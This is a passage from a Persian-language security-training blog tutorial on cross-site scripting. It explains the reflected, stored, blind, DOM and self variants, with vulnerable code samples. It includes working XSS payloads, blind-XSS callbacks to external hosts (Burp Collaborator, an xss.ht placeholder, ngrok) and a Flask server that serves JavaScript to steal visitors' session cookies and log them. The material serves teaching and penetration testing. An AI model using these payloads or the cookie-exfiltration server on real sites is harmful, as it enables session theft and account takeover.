۰۶۲۴۹ ۳۶۸ ۰۲۶
[email protected]
Unk9vvN
  • راهکارها
    • شبیه سازی تهاجمی
    • عملیات تدافعی
    • شکارچی باگ
  • خدمات
    • تست نفوذ و ارزیابی امنیتی
    • تیم قرمز و مهندسی اجتماعی
    • امنیت سیستم های کنترل صنعتی
    • جرم شناسی دیجیتال و پاسخ به حادثه
    • تیم آبی و دفاع سایبری
    • بازبینی امنیتی و کشف آسیب پذیری
  • دوره ها
    • تست نفوذ
      • وب
      • موبایل
      • فضای ابری
      • شبکه
      • شبکه بی سیم
      • اینترنت اشیاء
    • تیم قرمز
    • امنیت صنعتی
    • جرم شناسی دیجیتال
    • تیم آبی
    • بازبینی امنیتی
  • منابع
    • وبلاگ ما
    • وبینار ها
    • تایید گواهی
  • درباره ما
  • تماس با ما
  • حساب من
  • فارسی
محصول به سبد خرید شما افزوده شد.

دنیای آسیب پذیری XSS

نوشته شده در 13 تیر 1400
بدون دیدگاه

در این مقاله قراره که به تمامی ابعاد آسیب پذیری Cross Site Scripting یا XSS بپردازیم، این پرداخت صرفا به تشریح هسته این آسیب پذیری نیست و تمامی ابعاد آسیب پذیری زیر تیغ جراحی خواهد رفت. از موضوعات کلیدی که تشریح می شود میتوان به انواع روش های رخداد این آسیب پذیری اشاره کرد Non-Persistent (Reflected) – Persistent (or Stored) – DOM-Based XSS – Self-XSS – Mutated XSS (mXSS)، همچنین روش های آزمون (Payload Testing) و موارد پیشرفته تر مانند روش های بهره برداری حرفه ای مانند (XSRF – XSS Worm – XSS Tunneling – XSS Without Arbitrary JavaScript) اشاره کرد، در قدم بعدی روش های مبهم سازی (Obfuscation) کد های بهره برداری را بررسی میکنیم، همچنین روش های دور زدن مکانیزم های دفاعی در مقابل این آسیب پذیری مانند: (Same Origin Policy – Security Content Policy – NoScript Extension – DOM Dangling Markup – Script Gadgets) خواهیم پرداخت.

فهرست محتوا پنهان
1 تعریف آسیب پذیری XSS
1.1 آسیب پذیری XSS از نوع Non-Persistent (Reflected)
1.2 آسیب پذیری XSS از نوع Persistent (Stored)
1.2.1 نحوه تست
1.2.2 آسیب پذیری XSS از نوع Blind
1.3 آسیب پذیری XSS از نوع DOM
1.3.1 ویژگی innerHtml
1.3.2 متد ()document.write
1.3.3 ویژگی های document.location و window.location
1.3.4 ویژگی document.referrer
1.3.5 متد ()window.open
1.3.6 ویژگی outerHTML
1.3.7 توابع jQuery که میتوانند باعث رخداد DOM-XSS شوند:
1.3.7.1 متد ()after
1.3.7.2 متد ()append
1.3.7.3 متد ()html
1.4 آسیب پذیری XSS از نوع Self
1.4.1 اجرا روی حساب های کاربری دارای امتیاز بالا مانند ادمین
1.4.2 از طریق آسیب پذیری CSRF
1.5 آسیب پذیری XSS از نوع Mutated
1.5.1 ویژگی innerHTML
1.5.2 توضیح سطح حمله
1.5.2.1 1.استفاده از کارکتر Backtick (`)
1.5.2.2 2.استفاده از فضای نام XML در عناصر ناشناخته
1.5.2.3 3.استفاده از Backslash (\) در Escape کردن CSS
1.5.2.4 4.استفاده نامناسب از کارکترها در نمایش موجودیت ها باعث بهم ریختن رشته های CSS میشود
1.5.2.5 5.استفاده از CSS Escapes در نام ویژگی ها باعث برهم زدن ساختار HTML میشود
1.5.2.6 6.تغییر موجودیت ها در سند های غیر HTML
1.5.2.7 7.سو استفاده از موجودیت های HTML در عنصر SVG درون ویژگی های CSS
1.6 روش های کاهش (Mitigations)
1.6.1 سمت سرور
1.6.2 سمت کاربر
1.7 روش های طراحی Payload های پیشرفته در آسیب پذیری XSS
1.7.1 ایجاد یک ضبط کننده کلید (Key Logger)
1.7.2 استفاده از XSS برای دور زدن Double Submit Cookie در CSRF یا XSRF
1.7.2.1 با استفاده از JavaScript
1.7.2.2 با استفاده از JQuery
1.7.3 اضافه کردن مهاجم به عنوان ادمین جدید در سایت
1.7.4 ایجاد صفحات جعلی (Popup Phishing)
1.7.5 پیاده سازی حمله DoS
1.7.6 استفاده از فایل فرمت HTA
1.7.6.1 پیاده سازی با استفاده از زبان اسکریپت نویسی JavaScript
1.7.6.2 پیاده سازی با استفاده از زبان اسکریپت نویسی VBScript
1.7.7 اضافه کردن پلاگین آسیب پذیر در سایت WordPress
1.7.8 استفاده از ابزار BeEF
1.7.8.1 BeEF چیست؟
1.7.9 استفاده از فایل فرمت swf برای تزریق Hook BeEF
1.7.10 دانلود برنامه Android بدافزار (APK)
1.7.11 کِرم XSS یا XSS Worm
1.7.12 آسیب پذیری XSS بدون JavaScript دلخواه
1.7.12.1 روش بر مبنای زمان یا Time-Based
1.7.12.2 استفاده از رویداد Onload
1.7.13 تونل زنی XSS یا XSS Tunneling
1.7.13.1 کانال XSS یا XSS Channel
1.7.13.2 خط فرمان XSS یا XSS Shell
1.7.13.3 نحوه تست
1.7.13.4 نکات مورد توجه :
1.7.13.5 تونل زنی XSS یا XSS Tunneling
1.7.13.6 تونل XSS یا XSS Tunnel
1.7.13.7 فواید XSS Tunneling
1.7.13.8 نحوه کارکرد XSS Tunnel
1.7.13.9 پروسه حمله
1.8 مبهم سازی
1.8.1 استفاده از فضای خالی (Whitespace)
1.8.2 غیر حساس بودن به کوچک یا بزرگ بودن حروف
1.8.3 استفاده از بایت های پوچ (Null Bytes)
1.8.4 استفاده از دنباله های Escape
1.8.5 استفاده از HTML Encoding
1.8.6 تغییر و دستکاری تگ ها
1.8.7 استفاده از ویژگی (Attribute) ها
1.8.8 استفاده از جدا کننده (Delimiter) ها
1.8.9 استفاده از تابع eval
1.8.10 استفاده از UTF-7 Charset
1.8.10.1 طراحی Payload های XSS با استفاده از UTF-7 Charset
1.9 تکنیک های دور زدن مکانیزم های دفاعی
1.9.1 دور زدن SOP با استفاده از JSONP
1.9.1.1 AJAX چیست؟
1.9.1.2 SOP چیست؟
1.9.1.3 JSONP چگونه کار میکند؟
1.9.1.4 تکنولوژی serviceWorkers چیست؟
1.9.1.4.1 استفاده از این سرویس برای اهداف خطرناک
1.9.1.5 نحوه اجرای این حمله
1.9.1.6 راه های کاهش (Mitigations)
1.9.2 دور زدن CSP
1.9.2.1 CSP چیست؟
1.9.2.1.1 در هدر Content Security Policy
1.9.2.1.2 در تگ Meta
1.9.2.2 استفاده از مقدار unsafe-inline
1.9.2.3 استفاده از مقدار unsafe-eval
1.9.2.4 استفاده از مقدار Wildcard یا *
1.9.2.5 عدم استفاده از object-src و default-src
1.9.2.6 استفاده از مقدار ‘self’ در script-src
1.9.2.6.1 روش آپلود فایل
1.9.2.7 استفاده از مقدار unsafe-eval و Endpoint های شخص ثالث
1.9.2.8 استفاده از Endpoint های شخص ثالث و JSONP
1.9.2.9 استفاده از آسیب پذیری Open Redirect در دامنه موجود در لیست سفید و JSONP
1.9.2.10 دور زدن مسیر و پوشه تایین شده در CSP
1.9.2.11 اجرای JavaScript در iframe
1.9.2.12 استفاده از رویداد های AngularJS
1.9.2.13 استفاده از لیست سفید و AngularJS
1.9.2.13.1 مثال اول:
1.9.2.13.2 مثال دوم:
1.9.2.14 استفاده از unsafe-inline و * img-src
1.9.2.15 استفاده از unsafe-eval و مقدار ‘self’ در script-src
1.9.2.16 استفاده از کد های Nonce ثابت یا قابل حدس
1.9.3 استفاده از Script Gadget ها
1.9.3.1 استفاده از Script Gadget ها در کتابخانه های JavaScript
1.9.3.1.1 کتابخانه Knockout
1.9.3.1.2 کتابخانه Ajaxify
1.9.3.1.3 کتابخانه Bootstrap
1.9.3.1.4 کتابخانه Google Closure
1.9.3.1.5 کتابخانه RequireJS
1.9.3.1.6 کتابخانه Ember
1.9.3.1.7 کتابخانه jQuery
1.9.3.1.8 کتابخانه jQuery Mobile
1.9.3.1.9 دور زدن CSP
1.9.3.1.10 در صورت وجود فیلتر های XSS و WAF ها
1.9.3.1.11 در صورت وجود فیلتر کننده های (sanitizzer) سمت کاربر
1.9.3.1.12 در صورت وجود CSP از نوع unsafe-eval یا strict-dynamic
1.9.3.1.13 در صورت وجود CSP از نوع لیست سفید، Nonce یا Hash
1.9.4 استفاده از DOM-Based Dangling Markup
1.9.4.1 دور زدن CSP با استفاده از ویژگی target در تگ base
1.9.4.1.1 راه های کاهش این تکنیک (Mitigations)
1.9.4.2 استفاده از این تکنیک بدون تگ base
1.9.5 دور زدن NoScript Extention
1.9.5.1 متد __defineSetter__
2 منابع

تعریف آسیب پذیری XSS

آسیب پذیری XSS یا Cross Site Scripting به معنی تزریق Script از طریق وب‌گاه میباشد. این آسیب پذیری غالبا بر روی زبان هایی مانند JavaScript طراحی می شود اما میتواند شامل دیگر زبان های Front-End نیز باشد، از دیگر ویژگی های این آسیب پذیری این است که دارای پنج مدل رخداد است با نام های:

1. Non-Persistent (Reflected)

2. Persistent (or Stored)

3. DOM-Based XSS

4. Self-XSS

5. Mutated XSS (mXSS)

اولین روش رخداد را میتوان روش واکنشی معنی کرد، دوم روش را مدل ذخیره شده میتواند دانست و سومین روش رخداد، بر بستر Document Object Model میباشد که مربوط به Object های زبان JavaScript میباشد، همچنین در روش چهارم نوع رخداد این آسیب پذیری بر مبنای روش های مهندسی اجتماعی خواهد بود ترکیبی فی ما بین آن دو است، و اما روش آخر یعنی Mutated XSS یا mXSS که به نوعی روش بهره برداری بواسطه جهش در Payload ارسالی از طرف مهاجم است که علامت گذاری های موتور اجرایی در لحظه مرورگر (Just-in-Time Engine) را در خصوص زبان JavaScript به اشتباه می اندازد و همین موضوع میتواند موجب دور زدن برخی فیلترسازی های استفاده شده در ورودی تحت کنترل مهاجم شود.

آسیب پذیری XSS از نوع Non-Persistent (Reflected)

مدل Reflected یا واکنشی در آسیب پذیری XSS یکی از ساده ترین مدل های رخداد این آسیب پذیری است، که در جریان ورودی های تحت کنترل کاربر (User-Controlled) مقادیر کد مخرب (Malicious) در پارامتر آسیب پذیر قرار گرفته و به سمت سرور ارسال میشود، اما موضوعی که اینجا محل توجه قرار گرفته این است که پارامتر آسیب پذیر مقادیر مخرب مهاجم را نه جایی write میکند نه در جایی ذخیره میکند و صرفا در همان صفحه ای که به عنوان Endpoint شناخته میشود بازتاب داده میشود، این بازتاب نیازمند بارگزاری صفحه آسیب پذیر به دست قربانی میباشد و از این روی است که به آن بهتر است گفته شود واکنشی تا بازتابی. اما روش های بهره برداری از این نوع آسیب پذیری یعنی Reflected XSS میتواند متعدد باشد، از جمله این موارد میتوان به دزدیدن Cookie کاربر قربانی، ایجاد یک Hook کد مخرب (BeEF Framework)، ارسال درخواست دانلود یک فایل مخرب، پیاده سازی حمله XSRF یا درخواست جعلی بواسطه XSS و همچنین کمک به پیاده سازی تکنیک تسخیر حساب کاربری یا (Account Takeover)، اشاره کرد، در مثال زیر یک درخواست و یک Payload بر بستر پارامتر آسیب پذیر با متد GET ارسال شده است.

GET /?input=<script>alert(1)</script> HTTP/2.0
Host: victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

و در پاسخ سرور، مشاهده می کنید که همان ورودی قرار گرفته است:

HTTP/2.0 200 OK
content-language: en
content-type: application/xml; charset=utf-8
content-encoding: gzip

...
This is what you typed: <script>alert(1)</script>
...

این ورودی، بسته به کد سمت سرور، می توانست در بدنه (Body) درخواست و حتی Header ها نیز قرار گیرد. البته در این حالت، آسیب رساندن به قربانی سخت تر است. مثلا در حالتی که پارامتر بدنه درخواست آسیب پذیر باشد، درخواست باید به صورت POST از طریق یک Form یا درخواست Ajax ارسال شود. یا در حالتی که Header آسیب پذیر باشد، می توان از راه Web Cache Poisoning از آن بهره برداری شود.

آسیب پذیری XSS از نوع Persistent (Stored)

آسیب پذیری XSS از نوع ذخیره شده یا Stored، زمانی رخ می دهد که ورودی از کاربر بدون ایمن سازی در پایگاه داده سمت سرور ذخیره شود و سپس نمایش داده شود. برای مثال بخش ارسال نظرات، صفحات ویرایش اطلاعات کاربر یا صفحاتی که امکان آپلود فایل را فراهم میکنند پتانسیل رخداد این نوع آسیب پذیری را دارند. در این نوع از XSS برخلاف XSS از نوع واکنشی نیاز به کنش قربانی برای اجرای کد مخرب نیست، این موضوع به مهاجم کمک می کند تا بتواند یک یا مجموعه ای از کاربران را مورد حمله قرار دهد. برای درک بهتر این موضوع به شکل زیر نگاه کنید:

نحوه رخداد XSS Stored
نحوه رخداد XSS Stored
پس از تزریق Payload توسط مهاجم در صفحه آسیب پذیر، این کد در پایگاه داده وب اپلیکیشن ذخیره می شود قربانی با ورود به صفحه آسیب پذیر محتوای آلوده شده را دریافت کرده و Payload در مرورگر او اجرا می شود

مهاجم کد مخرب خود را در قسمت نظرات زیر یک پست تزریق می کند:

POST /id=post1 HTTP/1.1
Accept: text/html
Host: example.com
Connection: keep-alive
comment='"/><script>alert(1)</script>

پس از ارسال کد مخرب مقدار موجود در پارامتر comment درون پایگاه داده ذخیره می شود. سپس قربانی صفحه آلوده را باز می کند و پاسخ برگشت داده شده به صورت زیر می باشد.

HTTP/2.0 200 OK
content-language: en
content-type: application/xml; charset=utf-8
content-encoding: gzip
...
This is new Comment: '"/><script>alert(1)</script>

همانطور که در پاسخ بالا مشاهده می کنید مهاجم به طور غیر مستقیم توانست کد مخرب خود را بر روی مرورگر قربانی اجرا کند.

نحوه تست

برای تست XSS Stored باید تمام صفحاتی که از کاربر داده هایی دریافت و ذخیره می کنند بررسی شود به این صورت که چند کد مخرب مختلف XSS همانند کد های مخرب زیر تزریق داده شوند، این کدهای مخرب مبهم سازی شده می باشند.

<iframe src="javascript:alert('XSS')"></iframe>

در این کد مخرب مقدار src تگ iframe برابر مفسر :JavaScript قرار گرفته و در صورتی که کد مخرب بدون مشکل اجرا شود مقدار XSS در alert نمایش داده می شود.

<sCrIpt>alert('XSS')</ScRipt>

در این کد مخرب از حروف بزرگ و کوچک به صورت تصادفی استفاده شده است که به اصطلاح به آن random case گفته می شود، از این کد مخرب برای دور زدن Regex هایی که به مقدار <script> حساس هستند استفاده می شود.

<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">

در کد مخرب بالا از یک تگ img استفاده شده که مقدار src آن برابر x است این مقدار باعث می شود عکس به مشکل بر بخورد و رویداد (event) onerror عکس را صدا بزند، درون این رویداد یک alert قرار دارد و از متد fromCharCode استفاده شده تا کاراکتر کد هایی که درون این متد قرار گرفته اند را به متن تبدیل کنند و نتیجه این کد باعث باز شدن پنجره alert با متن XSS می باشد. پس از تزریق باید تمام صفحاتی که احتمال استفاده از اطلاعات ذخیره شده را دارند بررسی کرد در صورتیی که مقدار alert('XSS') نمایان شد این بدان معناست که کد مخرب تزریق داده شده به درستی اجرا شده است.

آسیب پذیری XSS از نوع Blind

آسیب پذیری Blind XSS یا XSS کورکورانه گونه ای از XSS ذخیره شده میباشد زیرا کد مخرب تزریق داده شده توسط مهاجم به وسیله وب سرور ذخیره میشود با این تفاوت که نقطه اثر تزریق کد مخرب و زمان دقیق اجرای آن به طور مستقیم قابل شناسایی نیست زیرا در بخشی دیگری از برنامه که مهاجم به آن دسترسی ندارد اثر میگذارد. برای درک بهتر فرض کنید مهاجم کد مخربی را درون فرم تماس یا فرم بازخورد آسیب پذیری وارد میکند، به دلیل اینکه این گونه صفحات برای بازدید و بررسی به دسترسی ادمین نیاز دارند، در نتیجه موفقیت آمیز بودن تزریق و زمان اجرای کد مخرب قابل تشخیص نیست. برای تشخیص موفقیت آمیز بودن اینگونه حملات از کد های مخرب به شکلی استفاده میشود که هنگام تاثیرگذاری مهاجم را از موفقیت آمیز بودن حمله باخبر سازد، برای مثال کد مخرب هنگام اجرا یا بازدید ادمین از سایت درخواستی به سمت سرور مهاجم اجرا کند.

برای جستجوی این نوع XSS میتوان کد مخرب را در بخش هایی از سایت مانند صفحات و فرم های تماس با ما، صفحات بازدید از لاگ های سایت، صفحات بازخورد، فیلد های مربوط به نام و نام خانوادگی یا آدرس، یا بعضی از هدر های درخواست HTTP مانند هدر User-Agent یا Referred/Origin یا درون Cookie تزریق داد.

تزریق کد مخرب XSS کورکورانه به چندین روش قابل انجام است:

1.استفاده از Burp Collaborator

سرویس Burp Collaborator یک عامل بر بستر شبکه است که BurpSuite از آن برای کشف آسیب پذیری هایی که نیاز به تعامل با سرویسی خارجی دارند استفاده میکند. این سرویس از دامنه اختصاصی برای درخواست ها استفاده میکند. همانطور که در تصویر زیر میبینید این بخش از طریق منوی Burp و زیر منوی Burp Collaborator client قابل دسترسی است.

نحوه دسترسی به سرویس Burp Collaborator در BurpSuite
نحوه دسترسی به سرویس Burp Collaborator در BurpSuite

به نمونه کد مخرب زیر با استفاده از این سرویس توجه کنید:

"><script src="//ophvu6oll9gfio3zzict8aphh8n3bs.burpcollaborator.net"></script>

در نتیجه تزریق کد بالا درخواستی همانند تصویر زیر به Burp Collaborator فرستاده میشود که این سرور در پاسخ درخواست ها رشته ای تصادفی برمیگرداند.

بخش Burp Collaborator client در BurpSuite
بخش Burp Collaborator client در Burp Suite
در این بخش درخواست های فرستاده شده به این سرویس و پاسخ های حاوی رشته تصادفی را مشاهده میکنید

2.استفاده از سایت xsshunter.com
این سایت یک ابزار آنلاین برای تولید کد های مخرب XSS کورکورانه و استفاده از سرور اختصاصی میباشد، پس از ثبت نام در این سایت از قسمت XSS Hunter میتوان به نمونه کد های مخرب دسترسی داشت .

<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//YOURSELECTEDSUBDOMAIN.xss.ht");a.send();</script>

برای مثال پس از تزریق کد مخرب بالا در قسمت آسیب پذیر صفحه، اگر حمله موفقیت آمیز باشد در قسمت XSS Fires میتوانید درخواست های فرستاده شده به زیر دامنه اختصاصی ای که ساخته اید و از آن در کدهای مخرب استفاده کرده اید را مشاهده کنید.

بخش XSS Fires در سایت xsshunter.com
بخش XSS Fires در سایت xsshunter.com
این بخش، درخواست های فرستاده شده را به همراه آدرس IP قربانی و URI صفحه آسیب پذیر نمایش میدهد

3.استفاده از سرویس Ngrok
در این روش پس از راه اندازی، Ngrok آدرسی به فرمت زیر در اختیار ما قرار میدهد:

address = http://$NGROK_ID.ngrok.io

مقدار متغیر NGROK_ID$ در Bash برابر یک مقدار تصادفی و منحصر به فرد اختصاص داده شده توسط Ngrok میباشد.

کد مخربی که برای تشخیص XSS Blind استفاده می شود به شکل زیر می باشد:

'\"/><script src="+address+"/script"></script>

پس از تزریق کد بالا، هنگام بازدید قربانی از صفحه قسمت src تگ script درخواستی به مسیر script/ در سرویس Ngrok اختصاصی فرستاده میشود. کد زیر یک نمونه وب اپلیکیشن ساده است که توسط Flask روی پورت 1234 به حالت انتظار پیاده سازی شده است، هدف این اسکریپت بدست آوردن Session قربانی میباشد:

from flask import Flask, request
from flask_cors import CORS
app = Flask(__name__)
CORS(app)

@app.route('/script')
def script():
    payload = "var http=new XMLHttpRequest();var url='http://$NGROKID.ngrok.io';var c=document.cookie;var params='session='+c;http.open('POST', url, true);http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');http.send(params);"
    return payload

@app.route('/',methods=['POST'])
def main():
    f = open('logs.txt','a')
    f.write("\n"+"-"*10+"\nSession is: "+request.form['session']+'\n'+'-'*10)
    f.close()
    return "Ok"

if name == "main":
    app.run(debug=True,port=1234)

همانطور که میبینید، این برنامه دارای دو مسیر / و script/ میباشد، هنگامی که درخواستی به مسیر script/ فرستاده میشود تابعی با نام ()script فراخوانی میشود، خروجی این تابع یعنی همان متغیر payload، شامل کد JavaScript ای میباشد که با استفاده از XMLHttpRequest درخواست پستی شامل Cookie بازدید کننده صفحه، به مسیر / در سرویس Ngrok مشخص شده ارسال میکند. قسمت بعدی کد، درخواست هایی با متد پست که به مسیر / فرستاده میشوند را دریافت میکند و پس از جداسازی قسمت session در Cookie، آن هارا را در فایلی به نام logs.txt چاپ میکند. در نتیجه فایل logs.txt به صورت زیر خواهد بود:

----------
Session is: PHPSESSID=0blb07up19lnehn1bhu40lmad4
----------

آسیب پذیری XSS از نوع DOM

پیش از تشریح این نوع از XSS باید با Document Object Model آشنا شویم. مرورگر هنگامی که صفحه ای را می خواند یک مدل و ساختار درختی از عناصر HTML تشکیل می دهد، در نتیجه تمام عناصر به عنوان اشیاء (Object) در نظر گرفته می شوند و تمام اشیاء زیر مجموعه شیء Document می باشند، در JavaScript توابعی وجود دارد که می تواند به مقادیر هر شیء (Property) دسترسی داشته باشد که به این مجموعه از توابع Method گفته می شود.

در بعضی مواقع برنامه نویسان از این توابع برای دریافت اطلاعاتی اعم از پارامتر های موجود در URI، مقادیر یک Input و … استفاده می کنند و در صورتی که مقادیر دریافت شده بدون ایمن سازی دوباره در صفحه نمایش داده شوند مهاجم می تواند با تزریق Payload باعث رخداد DOM XSS شود. پیدا کردن این نوع از XSS بسیار ساده می باشد تنها کافیست درون فایل های JavaScript و HTML را بررسی کنیم و به دنبال توابع و ویژگی های DOM که مقداری را از کاربر دریافت می کنند و سپس آن را در صفحه چاپ می کنند بگردیم، در ادامه به تشریخ نمونه هایی از این توابع و ویژگی ها میپردازیم.

ویژگی innerHtml

این ویژگی برای دسترسی و نوشتن محتوا درون عناصر و تگ های HTML استفاده می شود. در صورتی که ورودی این تابع از کاربر بدون ایمن سازی دریافت شود مهاجم می تواند کد مخرب خود را به جای محتوای درون یک عنصر یا تگ HTML قرار دهد به کد آسیب پذیر زیر دقت کنید:

<html>
...
<head>
    ...
</head>
<div id="test">
</div>
<script>
    var section = document.getElementById('test');
    var url_string = window.location.href
    var url = new URL(url_string);
    var data = url.searchParams.get("input");
    section.innerHtml=data
</script>
...
</html>

همانطور که در کد آسیب پذیر بالا مشاهده می کنید درون script یک id به نام test با استفاده از متد ()document.getElementById انتخاب شده و در خط بعد تمام مقدار موجود در آدرس صفحه درون متغیر url_string ریخته شده و یک Object از URL ساخته شده که ورودی آن url_string می باشد سپس پارامتر GET به نام input دریافت شده و در آخر تمام مقادیر درون input به جای محتوای تگ div که پیش تر انتخاب شده بود ریخته می شود. در این شرایط به دلیل آنکه ورودی دریافت شده از کاربر هیچگونه ایمن سازی ندارد مهاجم می تواند با تزریق یک کد مخرب XSS موجب رخداد DOM XSS شود.

متد ()document.write

از این تابع جهت چاپ کردن یک مقدار در صفحه استفاده می شود در صورتی که ورودی این تابع از کاربر بدون ایمن سازی دریافت شود مهاجم می تواند کد مخربی در صفحه تزریق دهد.

<html>
<head>
    ...
</head>
<div id="test">
</div>
<script>
    var url_string = window.location.href
    var url = new URL(url_string);
    var data = url.searchParams.get("name");
    document.write(data);
</script>
...
</html>

در کد بالا همانند مثال قبل مقدار موجود در پارامتر name بدون هیچ ایمن سازی از کاربر دریافت شده و درون تابع ()document.write قرار گرفته در نتیجه هر مقداری که کاربر وارد نماید مستقیما درون صفحه چاپ می شود و این مشکل باعث می شود مهاجم بتواند به راحتی کد مخرب XSS در صفحه تزریق دهد و باعث رخداد DOM XSS شود. متد document.writeln نیز همانند متد document.write میباشد با این تفاوت که در انتهای عمل نوشتن خط جدیدی اضافه میکند.

ویژگی های document.location و window.location

ویژگی document.location و window.location ویژگی های فقط خواندنی میباشند که دسترسی به شی (object) location که حاوی اطلاعاتی درباره URL صفحه و متد هایی برای تغییر آن URL میباشد ارائه میدهند.در ادامه برخی از این متدها را مشاهده میکنید:

document.location.hostname="example.com";
window.location.hostname="example.com";
document.location.replace("replacedPath/");
document.location.assign("replacedPath/");
window.location.assign("replacedPath/");
window.location.href="example.com";
document.location.hash
window.location.hash
window.location.search

به کد آسیب پذیر زیر توجه کنید:

<html>
<head>
    ...
</head>
Language:
<select><script>
    document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");
    document.write("<OPTION value=2>English</OPTION>");
</script></select>
</html>

کد بالا زبان کاربر را با استفاده از document.location.href.substring از پارامتر default موجود در URL جداسازی میکند و در کد صفحه از آن استفاده میکند، در نتیجه اگر URL به صورت زیر باشد:

http://example.com/dashboard.html?default=French

کد HTML صفحه به شکل زیر خواهد بود:

<html>
<head>
    ...
</head>
Select your language:
<select>
    <OPTION value=1>French</OPTION>
<OPTION value=2>English</OPTION>
</select>
</html>

بنابراین اگر مهاجم کد مخربی را به صورت زیر وارد کند، به دلیل اینکه هیچ ایمن سازی صورت نگرفته تزریق XSS موفقیت آمیز خواهد بود.

http://example.com/dashboard.html?default=<script>alert(document.cookie)</script>
<html>
<head>
    ...
</head>
Select your language:
<select>
    <OPTION value=1><script>alert(document.cookie)</script></OPTION>
<OPTION value=2>English</OPTION>
</select>
</html>

ویژگی document.referrer

ویژگی بالا مقدار هدر referrer را برمیگرداند.

<html>
<head>
    ...
</head>
<div id="1">you are here from: </div>
<div id="2"></div>
<script>
    var ContentHolder = document.getElementById("2");
    ContentHolder.body.innerHTML =document.referrer;
</script>
</html>

به دلیل اینکه مقدار هدر referrer قابل تغییر توسط مهاجم میباشد و این مقدار بدون هیچ ایمن سازی در صفحه استفاده شده است امکان رخداد آسیب پذیری وجود دارد. از ویژگی document.domain نیز برای دریافت دامنه صفحه استفاده میشود.

متد ()window.open

از متد بالا برای باز کردن یک منبع جدید در یک پنجره ی جدید به صورت زیر استفاده میشود:

<html>
<head>
    ...
</head>
<script>
    window.open("http://www.example.com/", "Selected Page Name","resizable,scrollbars,status");
</script>
</html>

ویژگی outerHTML

با استفاده از ویژگی outerHTML میتوان به تمام محتوای عنصر یا تگ انتخاب شده به فرمت HTML دسترسی پیدا کرد و یا مقدار آن را تغییر داد. برای مثال به کد زیر توجه کنید:

<html>
<head>
    ...
</head>
<h1>outerHTML</h1>
<script>
    var x = document.getElementsByTagName("h1")[0];
    console.log(x.outerHTML);
</script>
</html>

خروجی کد بالا، کد <h1>outerHTML</h1> میباشد.

توابع jQuery که میتوانند باعث رخداد DOM-XSS شوند:

متد ()after

این تابع محتوایی را بعد از عنصر انتخاب شده اضافه میکند.

<html>
<head>
    ...
</head>
<script>
    var url_string = window.location.href
    var url = new URL(url_string);
    var message = url.searchParams.get("message");
    $(document).ready(function(){
    $("button").after(message);
});
</script>
<body>
<button>Click me</button>
</body>
</html>

در کد بالا نباید پیامی که ممکن است حاوی محتوای ناامنی میباشد بدون ایمن سازی به طور مستقیم به عنوان آرگومان ورودی این تابع استفاده کرد. متد ()before برخلاف تابع ()after محتوایی را قبل از عنصر انتخاب شده اضافه میکند.

متد ()append

این تابع نیز همانند تابع ()after محتوایی را بعد از عنصر انتخاب شده اضافه میکند.

<html>
<head>
    ...
</head>
<script>
    $(document).ready(function(){
    $("p").append(
        _.template(teamActionsTemplate)({message: message})
    );
});
</script>
<body>
<p>this is paragragh</p>
</body>
</html>

در مثال بالا نباید این تابع را با آرگومان ورودی ای که ممکن حاوی محتوای نا امنی باشد استفاده کرد. متد ()prepend نیز برخلاف تابع ()append محتوایی را قبل از عنصر انتخاب شده اضافه میکند.

متد ()html

این تابع امکان دسترسی یا تنظیم مقادیر درون عنصر انتخاب شده را فراهم میسازد.

<html>
<head>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <script>
        $("#input").focus();
        $("#input").on("blur", function(){
        $("#output").html($("#input").val());
    });
    </script>
</head>
<body>
<form action="/action_page.php">
    <label htmlFor="input">enter sth::</label><br>
    <input type="text" id="input" name="input" value=""><br>
        <input type="submit" value="Submit">
</form>
<p id="output"></p>
</body>

مثال بالا به دلیل اینکه مقدار ورودی کاربر را بدون هیچ ایمن سازی در عنصر output جایگذاری میکند آسیب پذیر میباشد.

آسیب پذیری XSS از نوع Self

آسیب پذیری Self XSS روش دیگری از آسیب پذیری XSS است که عملکرد آن فقط در محدوده پنل کاربری یک قربانی میباشد و نیازمند این است که کد مخرب JavaScript توسط خود قربانی در حساب کاربری خودش تزریق شود (به کمک مهندسی اجتماعی)، در نتیجه آسیب پذیری در شعاع دید تنها یک کاربر قرار میگیرد، در تصویر زیر نمونه ای از این آسیب پذیری را مشاهده میکنید که کاربر درون پنل حساب کاربری خود کد مخربی تزریق میدهد:

تزریق کد مخرب در آسیب پذیری Self XSS
تزریق کد مخرب در آسیب پذیری Self XSS
کد مخرب در فیلد Name در پنل کاربری قربانی تزریق شده است

این نوع از آسیب پذیری در صورتی پر بار خواهد بود که افراد دیگر نتیجه حمله را مشاهده کنند، برای مثال اگر آسیب پذیری در قسمت نام کاربری یا username در پنل کاربری شخص وجود داشته باشد، این نام در معرض دید کاربران دیگر سایت قرار میگیرد، در ادامه به تشریح چندین روشی که با استفاده از آنها میتوان Self XSS را به XSS قابل بهره برداری تبدیل کرد، میپردازیم.

اجرا روی حساب های کاربری دارای امتیاز بالا مانند ادمین

اکثر برنامه های تحت وب کاربران خود را براساس سطح دسترسی و مجوز طبقه بندی میکنند. اگر Self XSS بر روی کاربر عادی یک وبسایت پیاده سازی شده باشد، به دلیل اینکه ادمین قابلیت بررسی جزئیات حساب کاربری قربانی را را دارد، او نیز آلوده خواهد شد. اما اگر به هر دلیلی دسترسی به ادمین برای بازدید صفحه آلوده امکان پذیر نباشد، میتوان با راه اندازی سرور اختصاصی Log و استفاده از آن سرور در Payload های طراحی شده، در صورت بازدید دیگر کاربران، از اجرای کد های مخرب باخبر شد. در زیر نمونه ای از این سرور Log طراحی شده را مشاهده میکنید:

<?php

$req_dump = htmlspecialchars(print_r($_REQUEST, TRUE), ENT_QUOTES, 'UTF-8');
$headers = apache_request_headers();

$fp = fopen('request.log', 'a');
$req_dump .= " - ";
$req_dump .= date("Y-m-d H:i:s");
$req_dump .= "<br>";
foreach ($headers as $header => $value) {
    fwrite($fp, "$header: $value <br />\n");
}
fwrite($fp, "<br />\n");
fwrite($fp, $req_dump);
